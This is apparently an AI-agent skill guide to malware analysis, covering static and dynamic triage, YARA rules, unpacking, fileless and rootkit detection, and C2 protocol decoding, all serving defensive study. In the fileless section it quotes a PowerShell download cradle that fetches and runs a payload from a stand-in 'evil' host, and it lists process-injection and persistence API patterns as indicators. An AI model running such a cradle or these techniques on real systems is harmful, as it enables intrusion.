Malware Analysis

Malware Analysis

When to Activate

• Analyzing suspicious binaries or scripts
• Writing detection signatures (YARA, Snort, Sigma)
• Understanding malware capabilities and C2 protocols
• Unpacking protected/obfuscated samples
• Incident response — determining scope of compromise
• Threat intelligence — attributing samples to threat actors

Static Analysis

Initial Triage

# File identification
file sample.exe
sha256sum sample.exe
ssdeep sample.exe  # fuzzy hash for similarity

# PE analysis
pestudio sample.exe  # GUI: imports, strings, indicators
python3 -c "import pefile; pe=pefile.PE('sample.exe'); print(pe.dump_info())"

# Strings
floss sample.exe  # FLARE Obfuscated String Solver (decodes obfuscated strings)
strings -n 8 sample.exe | grep -iE '(http|ftp|cmd|powershell|reg|schtask|wmic)'

# Capability detection
capa sample.exe  # maps to MITRE ATT&CK techniques
# Output: persistence/registry, defense-evasion/process-injection, etc.

# Import analysis
python3 -c "
import pefile
pe = pefile.PE('sample.exe')
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(entry.dll.decode())
    for imp in entry.imports:
        print(f'  {imp.name.decode() if imp.name else hex(imp.ordinal)}')
"

Suspicious Indicators

# High-confidence malicious:
- VirtualAlloc + WriteProcessMemory + CreateRemoteThread (process injection)
- NtUnmapViewOfSection + NtMapViewOfSection (process hollowing)
- SetWindowsHookEx (keylogger/hooking)
- CryptEncrypt with hardcoded key (ransomware)
- InternetOpen + InternetConnect + HttpSendRequest (C2 communication)
- RegSetValueEx on Run keys (persistence)
- CreateToolhelp32Snapshot + Process32First (process enumeration)

# Packing indicators:
- High entropy sections (>7.0)
- Few imports (only LoadLibrary/GetProcAddress)
- Section names: UPX, .packed, .vmp, .themida
- Entry point in non-standard section

Dynamic Analysis

Sandbox Setup

# Isolated VM with:
# - Snapshot before execution
# - Network capture (inetsim for fake services)
# - Process monitoring (procmon, API Monitor)
# - File system monitoring (sysmon)
# - Registry monitoring

# Inetsim (fake internet services)
inetsim --config /etc/inetsim/inetsim.conf

# FakeDNS
python3 fakedns.py -c 192.168.1.100  # redirect all DNS to analysis host

Behavioral Analysis

# Process Monitor filters:
# - Process Name contains sample.exe
# - Operation is WriteFile, RegSetValue, Process Create
# - Path contains \Run, \Services, \Tasks

# Network capture
tcpdump -i eth0 -w capture.pcap
# Analyze: DNS queries, HTTP requests, raw TCP connections

# API tracing
# x64dbg: set breakpoints on key APIs
# API Monitor: filter by category (Registry, File, Network, Process)

Anti-Analysis Detection

# Common evasion techniques to identify:
- Sleep calls (extended delays to timeout sandboxes)
- Environment checks (VM artifacts, debugger presence, sandbox usernames)
- Timing attacks (rdtsc differences)
- Mouse movement/click checks
- Domain-joined check
- Minimum RAM/CPU/disk checks
- Specific file/registry checks (sandbox artifacts)
- Network connectivity checks before detonation

YARA Rule Writing

rule APT_Backdoor_CustomRAT {
    meta:
        author = "analyst"
        description = "Custom RAT used by threat actor"
        date = "2026-05-19"
        hash = "abc123..."
        
    strings:
        $magic = { 4D 5A 90 00 }  // MZ header
        $str1 = "cmd.exe /c" ascii wide
        $str2 = "/api/beacon" ascii
        $mutex = "Global\\CustomMutex" ascii
        $key = { 41 42 43 44 45 46 47 48 }  // XOR key
        
        // API hashing pattern
        $api_hash = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? }  // push hash; call resolve
        
    condition:
        $magic at 0 and
        (2 of ($str*)) and
        ($api_hash or $key) and
        filesize < 500KB
}

// Rule quality checklist:
// - Specific enough to avoid FP (test against goodware corpus)
// - Targets unique/stable features (not easily modified strings)
// - Includes metadata for context
// - Performance: avoid expensive regex, prefer hex patterns
// - Test with: yara -r rule.yar /path/to/samples/

Unpacking

Common Packers

# UPX
upx -d packed.exe -o unpacked.exe

# Custom packers — manual unpacking:
# 1. Set breakpoint on VirtualAlloc/VirtualProtect
# 2. Run until unpacking stub allocates RWX memory
# 3. Set hardware breakpoint on allocated region
# 4. Continue until code is written and executed
# 5. At OEP: dump process memory
# 6. Fix IAT with Scylla/ImportREC

# .NET obfuscation (ConfuserEx, .NET Reactor)
de4dot sample.exe -o cleaned.exe
# Then: dnSpy for decompilation

# JavaScript/PowerShell deobfuscation
# Replace eval/IEX with console.log/Write-Output
# Iteratively decode layers

C2 Protocol Analysis

# Identify C2 communication:
# 1. Capture network traffic during execution
# 2. Identify beaconing patterns (regular intervals)
# 3. Decode protocol:
#    - HTTP: check User-Agent, URI patterns, POST data encoding
#    - DNS: subdomain encoding (hex, base32, base64)
#    - Custom TCP: identify magic bytes, encryption, structure

# Common C2 frameworks signatures:
# Cobalt Strike: /submit.php, cookie with base64 metadata, 60s default sleep
# Metasploit: stage URI pattern /[A-Za-z0-9]{4}
# Sliver: mTLS, HTTP with specific headers
# Havoc: custom protocol over HTTP/S

Reporting Template

## Sample: [hash]
### Classification: [family/type]
### Capabilities:
- [ ] Persistence mechanism
- [ ] C2 communication
- [ ] Data exfiltration
- [ ] Lateral movement
- [ ] Credential theft
- [ ] Encryption/ransomware
### IOCs:
- Hashes: [MD5, SHA256, imphash, ssdeep]
- Network: [domains, IPs, URLs, User-Agents]
- Host: [mutexes, files created, registry keys]
- YARA: [rule name]
### MITRE ATT&CK Mapping:
- T1055 - Process Injection
- T1547.001 - Registry Run Keys
- [...]

Advanced: Fileless Malware Analysis

In-Memory Analysis

# Fileless malware never touches disk — lives entirely in memory
# Detection requires: memory dumps, ETW logs, PowerShell logging

# Common fileless techniques:
# 1. PowerShell download cradle → execute in memory
#    IEX(New-Object Net.WebClient).DownloadString('http://evil/payload.ps1')
#    Detection: PowerShell ScriptBlock Logging (Event ID 4104)

# 2. .NET Assembly.Load from memory
#    [System.Reflection.Assembly]::Load($bytes)
#    Detection: .NET ETW provider, AMSI

# 3. WMI event subscription persistence
#    No file on disk — stored in WMI repository (OBJECTS.DATA)
#    Detection: Event ID 5861 (WMI activity), parse OBJECTS.DATA

# 4. Registry-stored payloads
#    Payload stored as registry value, decoded and executed at runtime
#    Detection: registry monitoring, large binary values in Run keys

# Analysis approach:
# 1. Capture memory dump BEFORE any remediation
# 2. Volatility: malfind, netscan, cmdline, consoles
# 3. Parse PowerShell logs from Event Viewer
# 4. Extract WMI subscriptions from memory or OBJECTS.DATA
# 5. Check ETW logs for .NET assembly loading

WMI Persistence Analysis

# WMI event subscriptions: EventFilter → EventConsumer → FilterToConsumerBinding
# Stored in: C:\Windows\System32\wbem\Repository\OBJECTS.DATA

# Extract WMI subscriptions:
# Volatility: vol3 -f mem.raw windows.wmi
# Or parse OBJECTS.DATA directly:
python3 PyWMIPersistenceFinder.py OBJECTS.DATA

# Look for:
# - CommandLineEventConsumer (executes arbitrary commands)
# - ActiveScriptEventConsumer (executes VBScript/JScript)
# - Bound to: __IntervalTimerInstruction (periodic execution)
# - Or: __InstanceModificationEvent (trigger on system event)

# Live system query:
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

Advanced: Bootkit & Rootkit Analysis

Bootkit Detection

# Bootkits infect: MBR, VBR, bootloader, or UEFI firmware
# They load before the OS — invisible to OS-level tools

# MBR analysis:
dd if=/dev/sda bs=512 count=1 of=mbr.bin
# Compare against known-good MBR for the OS
# Check: boot code, partition table, magic bytes (0x55AA)

# VBR analysis:
# Extract volume boot record from each partition
# Compare against known-good VBR

# UEFI bootkit (BlackLotus-style):
# Check ESP (EFI System Partition):
# - Verify bootloader signatures
# - Compare hashes against known-good versions
# - Check for unauthorized .efi files
# - Analyze Secure Boot DBX (revocation list)

# Memory-based detection:
# Bootkits often hook: Int 13h (BIOS), UEFI Boot Services
# Compare interrupt vectors against expected values
# Scan for hooks in ExitBootServices, GetVariable

Kernel Rootkit Analysis

# Detection in memory dump:
# 1. Hidden processes
vol3 -f mem.raw windows.pslist  # linked list
vol3 -f mem.raw windows.psscan  # pool tag scanning
# Compare: processes in psscan but not pslist → hidden (DKOM)

# 2. SSDT hooks
vol3 -f mem.raw windows.ssdt
# Syscall addresses outside ntoskrnl range → hooked

# 3. Hidden drivers
vol3 -f mem.raw windows.modules    # linked list
vol3 -f mem.raw windows.modscan    # pool tag scanning
# Compare: modules in modscan but not modules → hidden driver

# 4. IRP hooks
vol3 -f mem.raw windows.driverirp
# Major function pointers redirected to rootkit code

# 5. Inline hooks (function patching)
vol3 -f mem.raw windows.apihooks
# Compares function prologues against on-disk versions
# JMP/CALL at function start → inline hook

# 6. eBPF/BPF rootkits (Linux)
bpftool prog list       # List loaded BPF programs
bpftool prog dump id N  # Dump BPF program bytecode
# Look for: kprobes on security-sensitive functions,
# XDP programs that filter/modify traffic

Advanced: Unpacking Techniques

Multi-Layer Unpacking

# Many samples use multiple packing layers:
# Layer 1: UPX or custom compressor
# Layer 2: XOR/RC4 encryption
# Layer 3: API resolution (dynamic imports)
# Layer 4: Final payload injection

# Systematic unpacking:
# 1. Set breakpoints on: VirtualAlloc, VirtualProtect, NtWriteVirtualMemory
# 2. Each break = potential unpacking stage
# 3. When VirtualProtect changes to PAGE_EXECUTE_*:
#    - Dump the memory region
#    - Check if it's a valid PE/shellcode
# 4. For each layer: note encryption key, XOR pattern, compression type
# 5. Automate: write script to unpack without executing

# x64dbg approach:
# bp VirtualAlloc
# Run → each break: check return value (allocated region)
# bp VirtualProtect
# Run → when PAGE_EXECUTE_READ: dump that region
# bp NtWriteVirtualMemory (for cross-process injection)
# Run → dump target process memory after write

.NET Unpacking (ConfuserEx, .NET Reactor)

# Stage 1: Remove obfuscation
de4dot sample.exe -o cleaned.exe
# Handles: string encryption, control flow, proxy calls, anti-tamper

# Stage 2: If de4dot fails, manual approach:
# 1. dnSpy: attach debugger to running sample
# 2. Break at module .cctor (static constructor) — often where unpacking happens
# 3. After .cctor completes: dump module from memory
# 4. Re-analyze cleaned module in dnSpy

# Stage 3: For custom .NET loaders:
# Assembly.Load(byte[]) is the key function
# Hook it → capture the byte array → that's the real payload
# Tool: ExtremeDumper — dumps .NET assemblies from memory

Advanced: C2 Protocol Reverse Engineering

Cobalt Strike Beacon Analysis

# Beacon config extraction:
python3 1768.py sample.bin  # Sentinel One's CS config parser
# Or: CobaltStrikeParser
# Extracts: C2 servers, sleep time, jitter, watermark, public key,
#           user-agent, spawn-to process, pipe name

# Malleable C2 profile detection:
# Analyze HTTP traffic patterns:
# - URI patterns (e.g., /submit.php, /activity)
# - Headers (Cookie with base64 metadata)
# - POST body encoding (base64, NetBIOS encoding)
# - GET vs POST for data exfil

# Beacon ID extraction from traffic:
# Cookie value contains encrypted metadata:
# Decrypt with: beacon public key (RSA) → AES key → decrypt C2 traffic
# Contains: beacon ID, PID, computer name, user, internal IP

Generic C2 Protocol Analysis

# Methodology for unknown C2:
# 1. Capture multiple beacon check-ins (minimum 10)
# 2. Identify fixed vs variable fields:
fixed_analysis = {
    "offset_0_4": "magic_bytes (same across samples)",
    "offset_4_5": "command_type (varies: 0x01=checkin, 0x02=task_response)",
    "offset_5_7": "payload_length (varies, matches actual length)",
    "offset_7_N": "encrypted_payload (varies)",
}

# 3. Identify encryption:
# - High entropy throughout → encrypted
# - Repeating patterns → XOR with short key
# - Block-aligned → AES/DES
# - Test: XOR first N bytes with expected plaintext (e.g., "POST", "HTTP")

# 4. Key recovery:
# - Hardcoded in binary → extract from .data/.rdata section
# - Derived from beacon ID → trace key derivation in code
# - Exchanged via handshake → capture initial negotiation

# 5. Build decoder:
def decode_c2_traffic(data, key):
    command = data[4]
    length = struct.unpack('>H', data[5:7])[0]
    payload = xor_decrypt(data[7:7+length], key)
    return {'command': command, 'payload': payload}